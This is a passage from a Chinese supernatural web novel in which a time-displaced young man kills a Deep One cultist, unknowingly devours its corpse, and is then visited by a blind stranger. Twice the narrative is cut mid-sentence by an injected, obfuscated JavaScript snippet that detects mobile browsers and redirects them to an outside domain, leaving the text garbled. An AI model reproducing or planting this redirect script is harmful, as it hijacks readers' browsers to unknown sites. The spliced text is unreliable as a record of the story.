这种杂牌表在1980年想卖二手都未必会有人想买,但放在1888年,即使是最普通、只能报时的怀表,也需要普通工薪阶级省吃俭用才能购买,更别提欧德这块手表还具备万年历、计时的功能,在当时也就只有贵族或者大资本家才能买得起。 欧德在心里估着物价,紧跟着又想后面一定要想办法把表赎回来,面上则用可怜兮兮的眼神去瞅老板娘:“求你了……?” 他塑造公子哥离家出走的形象,只是想尽快合理化自己抵押手表的行为。不然在这个年代,一个人身无分文,连旅馆租金都付不起,却能拿出价值连城的手表,很容易被人怀疑手表是不是被偷的,他可不想再被逮一次了。 但合理化归合理化,他并不希望老板娘真把他看成麻烦差劲的大少爷,万一以后需要向老板娘打听情报呢? 老板娘差点被那双眼尾泛红、好像刚哭完没多久的狗狗眼瞅得母爱变质,干咳一声后正色道:“当然可以!你这块表如果拿去典当,能换来住在我这儿一辈子还有余的钱。我把表给你留着,任何时候你有钱支付房款了,都可以来换回它。” 老板娘弯下腰去抽屉里找钥匙。与此同时,旅馆二楼气冲冲跑下一人,闷头冲到柜台边一锤桌台: “314房的客人也太龟毛了!之前挑剔被子不够柔软蓬松,我们给他换了;挑剔浴缸不够干净,我把那浴缸给他用白兰地擦了一遍;说送上去的晚餐不够好,咱们的大厨按他的要求重做了一车餐点,结果送上去什么样,端下来还是什么样,这人什么意思……” 抱怨声中,一直忠实于人设,以放松的姿态靠在柜台边的欧德忽然在柜台后挂的方镜中,看到一张让他心中一突的面孔—— ‘那个邪.教卧底。’欧德的身体不着痕迹地紧绷起来,同时站直了身体,伸手搭向腰间的手枪,用后背面对走进旅馆正门的邪.教卧底,‘他怎么会…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540169|186626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ’ 浮士德给他看卧底照片时说的话在他脑海中一闪而过: “你以为我那位手下记下你的名字是因为什么?为了向我举荐优秀人才?不。” “他是一名真正的、来自邪.教的卧底,他把那本笔记带在身边,是想要抓走你,作为献给他神明的祭品。” 接下来的一切都只发生在短短五秒之内: 侍应生还在继续喋喋不休地抱怨着“那椰蓉牛角包做得多酥软啊!浓汤闻了我都觉得饿……” 老板娘从柜台后站起身,递来钥匙:“喏,214号房,那屋子里有一扇面朝太阳的大窗……” 真正饥饿的欧德状似镇定、实则迅速地从老板娘手中接过钥匙,礼貌点头后转身走向楼梯,最开始的几层只是匀速攀爬,随后越来越快—— “喂,那边那个红褐色头发的!”卧底的喊声蓦然从一楼传来。 欧德骤然迈开双腿,三步并作两步地向二楼冲去。 他记得这座旅馆并不高,一楼还做了装饰性的屋檐,他可以从二楼的客房窗户跃下去,幸运的话连个扭伤都不会有—— “嘿!站住……”卧底的声音忽然从正常的男声,变成浑厚沉闷、简直像从淤泥下翻出的蛙鸣。 欧德不知道老板娘和侍应生有没有听到这声奇怪的呼喝、会不会觉得这场追逐战很可疑,他没空想这些,也没空回头,冲到214号房前就将钥匙粗暴地捅进孔眼,撞进房门。 来不及站稳脚跟,他立即回身狠狠掼上房门,转身面对走廊时,刚好和追上来的卧底打了个照面:“——上帝!” “乓!!” 房门重重关上。 卧底探进门的左手手指被硬生生夹断了一小节,“啪嗒”一声坠落下地,那覆盖着黏液的青灰色指节根本不像人类的,倒像是青蛙的。 欧德大口喘着粗气,一边试图将卧底那在短短几秒内变得丑陋肿胀、两眼向侧凸起,简直像具浮尸的脑袋甩出脑海,一边拖拽来周围任何能够得到的家具,堵住房门。紧跟着他意识到—— 我有枪啊。 对啊!他有枪! 欧德简直要大骂突然脑子突然不灵光的自己了,如果不是“魔法或许真的存在”这个可能极大的动摇了他的心神,他甚至应该在一开始就不往二楼走,直接穿过柜台从后院逃走的:“——好。没问题的。浮士德把这把枪给了我,它应该能对付这些怪——” 没等他催眠完自己,房门骤然发出巨大的撞击声:“嘭!” 非人的力道将堵在门前的书桌、床头柜像积木一样撞飞出去,欧德不得不蹲下身体,才躲过擦着他头顶飞出窗外的床头柜:“——见鬼!!” 他在蹲下的同时将枪口匆匆对准门口,顾不上是否瞄准了怪物——反正以对方变形后膨胀得快撑满走廊的体型,往门外哪儿指都能射中——用力扣下扳机: “乓!” 一枚夹杂着虹彩般光芒的子弹脱膛而出,悄没生息地没入怪物的左胸膛。 它一点没对怪物起到阻拦作用,那巨大的浮尸怪依旧咆哮着飞扑向他,腥臭的口气喷上他的面庞—— “轰!” 一团和子弹同色系的光芒从子弹没入处炸开,如同一场微缩的爆炸。斑斓的火光在眨眼间在浮尸胸口掏出一个成年男性拳头大小的坑洞,将坑洞内的血肉——如果这怪物身体里的的确是血肉的话——烧灼得只剩白灰。 “▄▁█▂——”那怪物猛地仰身,发出一声轰鸣般的咆哮。 但即使胸口通了个大洞,它依旧仍能活动,那两只歪到头两侧的凸眼睛一下怨毒地看向他,断了一截指骨的长手掌以挥出猛烈风声的速度猛然捅进欧德的小腿! “——” 痛到极致是发不出声的。欧德的嘴徒劳的张开,喉咙却因声带闭合而连呼吸都困难。 他的身体向侧偏倒,手臂却在痉挛中操纵着双手,在求生本能的驱使下,将枪口再次指向怪物: “乓!乓!乓!” 他的第一枪射在了怪物的右胸口,第二、三枪因为摔倒一路歪斜向上,一枪射在怪物的右肩,一枪射进了空气。 这些部位似乎都不是怪物的要害,但此时此刻,狂暴中的怪物已经彻底被激怒了,它抽出捅进欧德小腿中的长手掌,转而控制住欧德还想再射击的双手,嘴巴像鱼嘴一样向两侧骤然咧开,一张黑洞洞、内里布满黄色獠牙的嘴凶狠地向他咬来—— 而后戛然而止。 “……?”已经别无他法,只能尽可能地偏过头颅,意图让死亡来得晚一点、哪怕晚一秒的欧德渐渐睁开眼,在惊疑不定中试探地转回头。 “咕……”怪物发出一声埋怨似的哼哼,原本压着欧德右手的长手掌居然松开了,冰凉黏腻的手指抵住欧德的侧脸,将他重新掰回原本那个露出颀长脆弱的侧颈线条,仿佛引颈就戮、献祭自我般的姿势。 欧德:“……?” “我只能推测,你的魅力值或许对实力越强的人,影响效果越大。” 浮士德的话又一次在不经意间掠过他的脑海。 “…………”欧德僵硬地躺在原地,吞咽了一下口水,维持着露出侧颈的姿势不变,慢慢举起拿着枪的右手。 怪物还在哼哼唧唧,着魔似的用冰凉的指尖划拨他的侧颈,丝毫没注意到一把黑亮的手枪逼近了它,枪口抵上它的头颅。 然后。 “乒!” 5. 第 5 章 斑斓的火光炸开了。 一秒、两秒……怪物噗通一声跪倒在地,肉山似的向前倾倒,瘫在地面上不再动弹。 “呼……呼……”欧德在怪物跪倒的同时就猛然翻滚、拉开距离,此时侧躺在地,喘着气,满脸冷汗。 他缓了一阵,才迫使自己从地上爬起来,拖着已经麻木了的腿,跨过怪物不动了的尸体,看向房间外。 伤口很痛。亟待处理。但这怪物如果还有其他同伙呢? 他紧紧攥着枪,谨慎地探头看向门外。 走廊里静悄悄的,夜色已经替代夕阳的余晖占据了这里。看起来并没有第二只怪物的迹象。 一种奇怪的灰黄色透明胶质笼罩着这片走廊,并在缓缓消退。 ‘这一定是怪物用的某种手段。魔法之类的。’欧德抬手扶住门槛,浑身在不停地冒出冷汗。他试图用思考分散注意,缓解小腿传来的钝痛,‘能够隔绝声音,所以走廊两边的邻居们没一个出来探看情况的。’ ‘或许这手段还能混淆人的视听,否则底下那位老板一定会在瞧见怪物追上我的时候,做些正常人该有的反应——不管是恐惧还是本能的攻击。’ 他深呼吸了一口气——紧跟着发现不对: 之前那股来自怪物身上的恶臭呢? 他身上之前沾了那么多粘液,现在怎么都不见了? “……”欧德几乎在想自己是不是疯了,难道刚刚那些都是自己的幻觉——猛然低头,就见地面上那庞大的怪物正无声地散出大股烟雾,逐渐缩水成正常人类的模样。 ——还好,不是幻觉。欧德大大松了口气,紧跟着又有些茫然:我……算是杀人了吗? 杀[人]。 父亲当年的话再次回响在耳边:“……他会被磨削掉对生命的敬畏!……他会用审视的目光寻找它们的致命点——他甚至可能会因为夺走生命而获得快感!” “可我不希望我的孩子日后变成那样的怪物——” 怪物。 欧德下意识地摸向自己的心脏,仿佛想用手指确认那里刚才是否曾因杀死怪物而愉悦地跳动。但在触碰到胸膛前,他停住了: 不。我不是怪物。 父亲同样说过,夺取生命,不是为了必要的生存,纯粹是为了取乐,那才是怪物。 他没有用其他生命取乐,他没有做错。 欧德收回手,又恢复了冷静。他垂下头,去看地上的尸体:必须马上把它处理掉。否则一会侍应生按照他的要求送晚饭上来,他没法解释自己的屋子里为什么躺着一个死人。谁会相信他说的“这人刚刚变成怪物想杀我”?就算是半小时前的他自己也不会相信。 欧德磨着牙,一边在心里大骂这卧底死都死了,干什么还非得注重仪容仪表,变回漂亮的样子示人,一边关上门,拖着残腿去拽地上的死尸。 尸体缩水后,枪弹孔眼也跟着缩水,血水缓慢流淌,尚未打湿太多地方。 欧德一路跌撞着,以最快的速度将尸体怼进卫生间的浴缸里,脱掉身上染血的衣服,冲洗掉血迹,用房间里配送的白兰地处理伤口。 太痛了。 酒水浇上伤口的瞬间,欧德几乎要晕过去,但是他不能。 他右手浇着酒,牙齿死死咬着左手虎口。 等到酒水浇完,他没给自己时间等待酒精挥发、疼痛缓解,立即用干净毛巾包扎起来,套上旅馆配的干净浴袍,回到主卧,擦干最后一点地毯上的血迹。 等他终于贴着床沿,跌坐在地时,他几乎脱力,两眼鳏鳏地岔着两条腿,平日里最重视的形象直接被丢到了瓜哇国,脑子里只有一个想法:……好饿。 怎么晚饭还没送来?实在不行把那个什么314退回厨房的餐点送给他也行啊,他不挑的。 过分好的记忆力在这会儿坏心眼地添乱,让他想起侍应之前的描述:“……还有浇淋了肯特郡黑松露的肋眼牛排,那汁水多的!刀子插进去都能炸出肉汁来……还有裹着坚果葡萄干的香草冰淇淋,融进了榛果的黑巧克力……” 饥肠辘辘的欧德咽了口口水,起身想要觅食了。 半秒后,腿上通了几个洞的欧德又老实坐下了。 吃不到牛排冰淇淋巧克力的欧德开始在心里大加批判314的房客身在福中不知福,一看就是个挑剔病晚期的富二代或者贵族。 但他很清楚,虽然他经历了一番生死,但这番战斗前后加起来也不过两三分钟,加上他清理痕迹的时间也不过一刻钟不到,晚餐哪能那么快送来? 他只能摸摸肚子,一边不停咽着口水,一边转移思绪去想别的事,比如他那彻底崩溃的世界观。 ……算了,还不如填饱肚子重要。 欧德直接跳过抗拒否认的阶段,开始仰着头呆呆地想:如果怪物真的存在,那上帝是不是也真的存在? 上帝他老人家不打邪神吗?他站这儿喊上帝一声,上帝能应吗? ……上帝为什么要那么早地接走他的父母,又带走他的祖父呢? 小腿的伤口开始麻木,欧德感觉好受些了,便撑着床边坐上床。 他的思维有点漫无边际,花了三秒的时间去批判“多柔软的床铺啊,314真是闲得没事净挑刺”,才开始想正事: 捕梦小镇外围的屏障是谁下的?大火是怎么回事?为什么他被逆转时间到了1888年? 这一切会和那个丑怪物有关吗?毕竟如何时间逆转不是那丑家伙做的,对方又是如何追着自己,一路从1980年跟到1888年的捕梦小镇来的? 他生出了几分懊恼:可惜那怪物死了,要是活的,他还能试着利用魅力值套套情—— “咚。” 浴室里忽地传来什么东西撞击浴缸壁的声音。 “……”欧德浑身一个激灵,霎时僵住。 ……不是吧?他只是心里这么一想,甚至都没嘴上这么一提,上帝想显灵也不需要挑在这种时候—— “哗啦——” 浴室的木门被撞得四分五裂,之前死的只剩一具人尸的浮肿怪物冲着他的右腰直扑而来。 对方的速度很快,快得几乎木门的撞裂声刚响,就已经扑上了床。 但欧德哪怕在叉着腿席地而坐时,右手都没离开过腰间的手枪,在木门开裂的瞬间他就向右一滚,摔下地面,同时反身两枪直指怪物头颅! “乓乓!” 子弹这次虚穿过了怪物的脑袋,没入天花板。 那怪物的身影下一秒就泛起波纹,幻境似的散了,床铺上显露出一道瘦韧的身影双手撑住床铺,借力跃起,冲着欧德再次扑来,伸出的双手目标明确,直奔着欧德手中的枪:“给我——混账,松手!” “哐当——” 两人像保龄球似的在地上滚了几圈,四肢纠缠在一起,费劲地争夺手枪。 欧德是个四肢不勤的文科生,这个邪.教卧底好像也不是外勤人员,两个人的打架技巧都相当没有水准,为了能赢、能活下去甚至不上台面,一个拿手戳眼睛,一个拿膝盖顶下面。 “给……我。”卧底抢得直咬牙,“如果不是这把枪……你早——啊!” 欧德揪着卧底的衣领,直接在滚动中将卧底的后脑撞上床脚:“你都能变丑八怪了,我不能用枪?你别太离谱——别动了!” 欧德是个机会主义者,一向善于抓住一闪而过的机会。 他趁着敌人因为撞击眩晕,一个翻身骑到对方身上,用体重压住对方,一把扯松自己的衣袍领口,露出侧颈线条的同时,借着这个居高临下的姿势用枪口顶住对方的太阳穴: “说!我的时间是不是你逆转的!?是不是你带我来1888年的?!” 脖子有什么好看的,欧德是真不理解。有这癖好怎么不去圣詹姆斯公园看鸭脖子呢?那儿还有天鹅呢。 但面对生死之战,任何看起来不确信的砝码他都必须丢上赌桌。因为他要活着。要活着,就得倾其所有。 小腿因为翻滚痛得够呛,欧德双手稳而紧地持着枪,不着痕迹地吸气,又出了一身细汗。 “……”卧底的眼神都痴了,那双甚至得算是漂亮的眼睛着迷一样注视着欧德,目光贪婪地在背着月光、五官与身躯的轮廓都在光影交织下显得更加分明,又多了几份暧昧不清的欧德身上滑动。 那片从浴袍下露出的苍白皮肤上蒙着一层薄汗,在月光下随着呼吸起伏而闪耀,呈现出一种洒了钻石粉似的梦幻质感。 “什么……时间?” “你不知道?你不知道时间逆转的事?”欧德皱眉,“那你是怎么跟来1888年的?” “我只是……跟着你一路走进捕梦小镇……”卧底看着欧德的脸色变得难看,慌忙道:“你别……别不高兴。我跟你说,你手上这枪是个宝贝。一开始在楼底下,我还以为那就是GORCC配发的统一制式配枪呢!但一用魔法我就知道不对了——那是浮士德的私人配枪,是不是?” 卧底说着说着,居然还吃起醋来:“为什么你拿着浮士德的配枪?你跟他什么关系?那不是好人我跟你说,他一个玩政治的,心能干净到哪——唔!” 欧德不客气地一把掐住卧底的下巴,粗暴地将浮士德的枪直接捅进卧底嘴里,手指搭上扳机:“我也是玩政治的。” 浮士德再讨厌,好歹在最后关头没掉链子,及时给了他保命的枪。而且迄今为止说的话没一句骗他的。 你一个卧底三番两次的想杀他,到底有什么立场说人家浮士德心不干净? 欧德用枪口顶着卧底的喉咙,无视对方痛苦的神情:“回答我问的问题,别说多余的话。你刚刚说这枪哪里不对?” 卧底在挣扎中流下生理性的眼泪。欧德收回手枪后,他干呕了几声,才哑着嗓子,红着眼睛说:“浮士德是个魔法师,他改过自己的枪。他的枪可以抵御魔法,不然在楼下我就用魔法截住你了,我是个魔法师——” 欧德注意到卧底居然在说自己是魔法师时,悄然用渴求的目光瞅了他一眼,活像是在故意攀扯和问题无关的回答,就期待着他再捅一次喉咙似的。 “……”太变态了,欧德抖落了一身的鸡皮疙瘩,明面上却将枪口抵上卧底的下颌,微微附身,轻声低语,“乖一点,才有奖励,懂吗?” 奖励你一颗子弹。欧德想。 他才不管人形的卧底长得好不好看,在世俗眼光里是不是已经算得上容貌上成,刚刚那青灰色的浮尸留给他的印象太深了,如果非要往卧底那张现在看起来唇形漂亮的嘴里灌点什么,他只想灌进去一枪匣那种会爆炸的子弹。 欧德贴近卧底的耳边,低声说:“刚刚我明明命中了你的头颅,为什么你没死?难道那怪物只是我的幻觉?”他想到第二次遇袭时,子弹穿过怪物的头颅,打进天花板的画面。 卧底战栗了一下,转过脸想去贴欧德的唇,但被欧德避开了:“……那是我召唤的化身。” 欧德用枪口将卧底的脸拨回去,继续低声说:“说仔细点。” 卧底的喉咙滚动了一下,那双眸色浅淡缥缈得像海雾的眼睛一眨不眨地紧盯着欧德:“我是深潜者的后裔……深潜者的子嗣可以在成年后选择是否蜕变,但我不想变得丑陋。” “我想要得到力量,也想在人间行走,所以我选择了折中的方式。看着我,看我脖颈间那条穿着鱼鳞的项链——有深潜者血脉的魔法师能利用它召唤深潜者的化身,你刚刚只是摧毁了我召来的化身而已。” “……什么是深潜者?”欧德哑声问,“它有什么弱点?” 他不知道该为真正的深潜者似乎无法伪装成人形而高兴,还是该为敌人的手段远比他想得要多,并不如他最初想得只是暴力打怪兽那么简单而感到不寒而栗。 这次的怪物背后其实藏着的是一个人,但他依旧因为对方怪物的形象,就下意识的认为对方蠢笨低智,根本没想过装死、使诈的可能性。可这个全新的世界挑战他过去三观的地方太多了,他真的要将从前在故事里看到的刻板印象,套用到这些怪物身上吗? 如果和刻板印象恰恰相反,这些怪物同样有着不下于人类的智慧呢? 他手上的力道重了些:“说话。” “我……”卧底微微扩张的瞳孔忽地骤然一缩,像有什么东西猛地锥了他一击,将他从魂不守舍中拽回了清醒。 他的神色在回想起自己都说了哪些内容后,霎时变得异常难看:“我不会告诉你。我许下过誓言——” 欧德在卧底的眼神向下移去的瞬间,就反应极快的一把扯断卧底脖颈上的鱼鳞项链:“你休想变身!” “不——!!”卧底像被逼上绝路般大吼,“还给我!!” 其实欧德还想拿鱼鳞项链钓着卧底,好再问一问对方信奉的是哪一路邪神,有什么保密诀窍的,但卧底的承压能力实在是太弱了。 在被扯掉项链的瞬间,卧底就像走投无路了一样发出一声疯狂的嘶吼,随后狠狠一咬自己的舌条,满口鲜血地凶恶盯着欧德:“Dagon, ya gnaiih r''luhhor, nafl''fhtagn r''luh ph''nglui ya gn''th''bthnk!” 欧德都想不通一个人舌头被咬得快断掉,是怎么能那么快地说出那么奇怪、活像快被痰噎死的青蛙一样的语言的。整段话里除了“Dagon(大衮)”是他熟悉的单词,其他的他一个字都听不懂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540170|186626||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但这不妨碍他拖着沉重得像灌了铅的手臂冲着卧底立即举枪,对准卧底冲他狰狞而笑的嘴毫不犹豫地扣下扳机:“乓!” 卧底在生死的瞬间猛然向下一缩身,裹着虹彩的子弹擦着他——或者说它的眼珠没入地面,激得刚蜕变完毕,就痛失了左眼的鱼头怪物发出一声擂鼓般的咆哮。 欧德在下一秒就被怪物猛地掀了出去,整个人像没重量似的向上飞起,狠狠撞上天花板。 “嗯。”欧德没忍住发出一声闷哼,眼前一阵发白,但他顾不上等什么视野恢复,只冲着下方一股脑地将所有子弹倾泻而出,无视手筋过度运动带来的一切痉挛抽痛—— “嘭。” 最开始是一声炸鸣。 而后是第二声、第三声、第四声……连贯成串的炸鸣声汇在一起,几乎将欧德的耳朵震聋。而当他向下坠落时,他脑中只转动着一个念头: 有炸鸣声。 说明都射中了。 这么多子弹,怪物会死吧? 一定会死。 拜托一定要死!! “咚!” 他坠下了地面。 地面是软的,像是落进了一块巨大蓬松的蛋糕——除了这蛋糕臭得可怖,令欧德本能地反呕。 但当他从怪物的肚皮上翻滚下地时,喜悦的泪水却从眼眶中夺眶而出——因为他知道,自己成功了。 没有鱼鳞项链可以召请化身,卧底唯一能选择的只有接受蜕变。 这次他的子弹射中的不再只是幻影,而是卧底的本体。 视野渐渐恢复,他顾不上去感受后背的肋骨是不是断了几根,连跪带爬地挪到怪物那说不清是更像鱼,还是更像肿尸的脑袋边,猛然举起手枪,疯狂地、不管不顾地用枪柄狠狠砸上怪物的头颅,一下两下三下……直到摔撞的声音从颅骨的碎裂声,变成木棍砸入肉泥般的粘稠水声,他才渐渐缓下动作,跪倒在死尸边粗粗地喘气。 溅到他身上的血污没有消失。怪物也没有消失。这次是真的结束了。 欧德缓了一会,低头看看手中紧攥的枪,有些恍惚。 头很晕,不知道是刚刚撞的,还是累的,还是肾上腺素剧烈分泌又大量消退带来的抽离感。 饥饿和疼痛纠缠着他,让他的手微微发抖。 我得休息一下。他这么想,我得好好睡一觉。 因为还有明天,还有很多尤待解决的谜团,他还不知道老疯子的孩子在哪,小镇的大火是谁放的,屏障是谁设置的,时间是谁逆转的——原本他心中的嫌疑人是浮尸怪先生,但刚刚他排除了对方的嫌疑。 他扶着膝盖站起来,踉跄了一下,随后拖曳着步伐来到门边,将门紧紧反锁,缓慢地、一点点将能堆的东西堆到门前堵住,免得再有浮尸怪先生的同类跑来探亲。 等他终于倒上床时,窗外响起夜枭的叫声,一声应着一声。 他面朝上躺着,抬起手臂压着额头,浅薄的水汽打湿了眼睫,但他心里其实没有任何委屈,只有平静。 一团火在他胸口安静的、冷冽地燃烧着,那是他的愤怒。 他在发着低烧。但他知道,他会活过今晚。明天早晨,他会和晨光一起醒来。 然后他会下去吃饭,吃很多,补上今晚错过的份,然后他会带着充足的精神,去踹碎任何想要终结他性命的狗屎命运。 强大而难以战胜的敌人尸体正在他床脚边的地面上躺着。不论接下来他还要面对什么,下一具将要躺在地上变得冰冷的的尸体,都不会是他的。 绝不会是他的。 欧德缓缓闭上了眼睛,放任自己坠入黑沉的睡眠…… * 他又做梦了。 梦中他正身穿一袭满是冰锥状宝石的礼服,懒散地撑着下颌坐在一张长礼桌前,周围拥挤着同样打扮华美、风格迥异的男男女女。 他的心情很好,一口接一口的往嘴里塞各种美食,炸得酥嫩的烤兔腿、炖得香稠的土豆时蔬烩、味道鲜嫩的蘑菇炖肉汤,还有甜甜的手指饼干,咬起来就像骨头一样嘎嘣脆。 腿部的隐隐作痛渐渐消解了,饥饿也被逐渐赶走。忽然,一旁挤来一具裹挟着雪茄香气的身体。 他回头就看见浮士德头发凌乱、喘着粗气挤开他身边的女士,在他旁边一屁股坐下:“我真……这里的人是都听不懂拒绝吗?我说了,‘我不想跳舞,我有爱人’,他们就差把腿缠我身上!” “你从没跟我说过你的爱人是谁。”梦里的他缀饮了一口殷红如血的葡萄酒,因那甘甜浓厚的味道发出一声享受的叹息,“是——” “伊娃?”浮士德跟随他暗示的目光,将视线投向舞池中央,正揽着一个看起来文质彬彬的男人跳舞的俄罗斯女人,脸都嫌恶得皱起来了,“她才不是——看看她,瞧见正和她跳舞的那个眼镜仔没?那是她的丈夫。” “——我说的‘丈夫’,是指在他们自己国家领过结婚证,可以合法互相继承遗产的的那种。你就没想过伊娃那个看起来就是个工作狂的冰疙瘩,为什么每天下班铃一打,就准时往外走,比谁都积极?家里有人热好了饭在等她呢。” 浮士德眼睁睁看着舞池里,个子更为高挑的女人面不改色地将手往下滑,沿着丈夫比她还瘦韧的腰往下滑,露出一个看到脏东西了似的绝望表情:“早晚我得把禁止员工当上司的面亲热这条写进规章制度里……” 浮士德只管大发牢骚,欧德只管大吃特吃。 宴席上的所有餐点都美味到极致了,欧德得说这是他吃过最享受的一餐,他甚至产生一种干涸的胃袋在肉汁的滋润下渐渐舒展、原本不知为何格外疲惫的身体都变得轻盈的感觉。 唯一让他苦恼的问题是,这烤兔腿确实太大了,大到他感觉自己的嘴都快张脱臼了;土豆时蔬烩不知为什么总是往碗下滴,明明他已经很小心了;这肉汤里的蘑菇鲜美是很鲜美,但不知道为什么特别容易碎,他个人其实更喜欢吃带点儿嚼劲的。还有手指饼干…… 手指饼干…… “嘎嘣。嘎嘣。” 周围悠扬的乐曲骤然一静,那饼干的咀嚼声格外清晰地传入他的耳朵:“嘎嘣。嘎嘣。” 是利齿将骨骼咬断、碾碎的声音。 “……”欧德猛地打了一个寒颤,从梦中惊醒过来,就觉自己双手、前胸、脸颊一片粘稠湿润。 僵硬地低下头,他看到自己不知何时,竟站到了床尾,原本停放着怪物尸体的地方空荡一片,只剩下几段白森森的、沾着血的脊椎骨。 半凝固的黏血仍在一滴滴从他的下巴、手上向下砸落,砸落在他苍白的脚背上,溅飞在他不知何时松散了包扎的小腿上。 他的小腿光洁如新,仿佛从未受过伤。 6. 第 6 章 “哗啦——” 狭小的浴室中,莲蓬头将冰冷的水砸向欧德。 他单手撑着墙壁,微微弓着后背,衣服被淋得透湿黏在身上,身体随着又深又重的呼吸起伏。几秒后—— “呕!!”欧德终于压不住强烈的反呕欲,猛地扑到洗手池边不断作呕,好像想借此将所有被他吞入胃中的骨血呕出来。 “啪嗒、啪嗒。”混杂着浅淡血色的水从深褐红色的发丝坠落,砸在雪白的洗手池池面上。 欧德抬手开了水龙头,将头埋在水柱下。几个问题沉重地鞭挞在他心上: 为什么我会梦游去吃那种东西?为什么我会觉得怪物的尸体好吃?为什么我的伤消失了,身体好像充满了力量? 这是人类该有的反应吗? 他……还是人类吗? 他忽然想到基地里,俄罗斯女人说的那句“还算是个人类吧”,突然生出懊悔——当时他怎么就没跟着她去实验室进一步检查呢? 怪物的血肉味在口腔中蔓延。他的口水不受控制地分泌,活像刚饮了血的吸血鬼。 欧德的脸上露出厌恶的表情,一方面是因为这种跟人类天性完全背离的反应令他感到十分恶心,完全与他的道德观冲突;另一方面,他不喜欢不可控,更别提失控的是自己的身体。像他这种就算受了重伤,都要把事情方方面面全安置好才能安心睡觉的控制狂,根本忍受不了一点。 他甚至会产生一种过激的幻觉,好像自己的身体里有什么陌生的怪物正要钻出来,将他取而代之—— 好吧,欧德。这就属于被害妄想、偏执狂了。欧德在心里对自己说。 他双手撑住洗脸池边缘,闭着眼,任水流裹挟自己。流水带走了头脑的温度,也带走了繁杂的情绪。 他冷静地想:不管怎么样,后面有机会一定要去趟GORCC,确认这到底是怎么回事。在那之前,决不能轻易吃任何怪东西了——谁知道那东西上有多少病毒细菌?更糟一点,万一把他也变成丑鱼头呢?? 欧德在流水下一个激灵,溅起水花一响。恰好掩盖了外间破漏的窗户处,传来的玻璃被碾碎的细微响动。 夜色中,无数颗南瓜马车大小的玻璃珠逐渐漂浮向豁洞的窗口,在月光下折射着怪异的光。 那是一双双眼睛,属于深潜者大军。这些鱼头人身的怪物们循着同类血肉的气息,一路寻找到这里,知晓同类被杀而产生的憎怒令它们的鱼眼变得赤红,打头的那一个将瘦长的手掌缓缓探上破裂的窗台—— “咚咚咚。” 一阵礼貌的敲门声忽然不轻不重地响起。 聚集在前排的深潜者们猛地抬头,紧跟着下一秒,整支深潜者大军就像见到猫的鼠潮般迅速褪去,在夜色中逃窜也似地涌向南面的海湾。 “咚咚咚。” 敲门声又响了一次,这回稍微加重了一些,钻入刚好调整完情绪,直起身拿浴巾擦头的欧德耳中。 “……?”谁会在这时候敲门?难道是之前晚餐没送成,侍应又来送第二次吗? 欧德疑惑又有些警惕地顿住动作:“谁?” “住在你楼上的房客。”门外响起一道彬彬有礼的男士声音。 但欧德抬头看看天花板:楼上? 他住214,他楼上不就是……白天那个嫌浴缸不干净嫌床不软的豌豆公主? 哦,不对。现在看来应该是豌豆王子。 这个门欧德顿时就不想开了,他重新擦起头发,单手把浴袍的系带解了,脱下丢进脏衣筐里:“抱歉先生,我睡了。有什么问题您可以向老——” “咔哒。”一声手枪上膛的声音清晰地在门外响起。 314说:“恳请您。我不希望局面变得太难看。” “…………”欧德顿住。 凌晨三点,带枪来敲陌生人的房门,怎么看都来意不善。 欧德摸向腰间的枪,衡量了下把它当板砖用、跟子弹比速度的可能性,最终扯下一条干净浴巾,系在腰间,就这么半湿着身体,赤足走回外间。 他没做任何遮掩——被动不如主动,他打算干脆借这次机会,试一试所谓的魅力值究竟能否人类身上奏效。 如果对方心怀不轨,那么即便造成浮士德所说的“精神污染”,他也只是正当防卫,而如果对方没有杀他的意思……没有杀他的意思,为什么要半夜拿枪逼他开门? 欧德又调了一下腰间的浴巾,半露出清峻的胯骨,而后推开那些挡着门的家具,“咔哒”打开房门:“先生——” 一股冷泉与金属的凌冽气息扑面而来,带着冰棱似的寒意和锋锐。 欧德有些错愕地顿住了,瞪视面前明显刚喷过香水,穿着深色经典三件套的男士。 对方胸前口袋里的巾帕一定是出门前特意调整过的,否则不可能在胸前口袋里放了一天,形状还那么挺括。侧口袋的金表链露出的长短恰到好处,领带夹没有任何一点歪斜…… 真是来约的?欧德的目光落在314的脸上,第一反应是这个,第二反应才是:不对。也许有些杀手就是有这种搞杀人仪式感的怪癖呢? 但门口的人并没有动,也没有举枪。月光透过走廊的落地窗侧洒在314先生的身上,将他修饰得像尊不真实的的艺术品。 他的五官有一种极富攻击性的美,杂糅着吸血鬼的矜贵,古希腊式的英挺,丝丝缕缕渗透出一股邪性。那头银色的半长头发轻盈地滑过肩膀,简直像月光在流淌:“我很抱歉不得不以这种方式见面——请收下它吧。” “……”欧德缓缓低头,看清对方递来的东西,“……你凌晨三点,举着枪也要逼我开门,就为了给我这个见都没见过的陌生人送一本《海狼》?” 你是不是有病——这话欧德没说出口。主要是吃了GORCC的堑,现在长一智,不把话聊死,那也许还有情报可以套。 314的奇葩先生居然真就杵在门口,就这个话题往下聊起来:“你看过《海狼》吗?” “……”我看过你这个神经病。 欧德神情木然,一方面是被这无法理解的剧情走向搞得没辙了,另一方面,是因为他发现了另一个细节:“你……看不见?” 从进门起,314的眼神就是散的。说是要给欧德送书,他的目光却虚穿过了欧德的身体;欧德张口说话时,他的脸微微侧了一下,像是要用耳朵去追欧德的方向,眼睛依旧茫然无着落地转动,像是试图在空气里捕捉什么他能看见的东西。 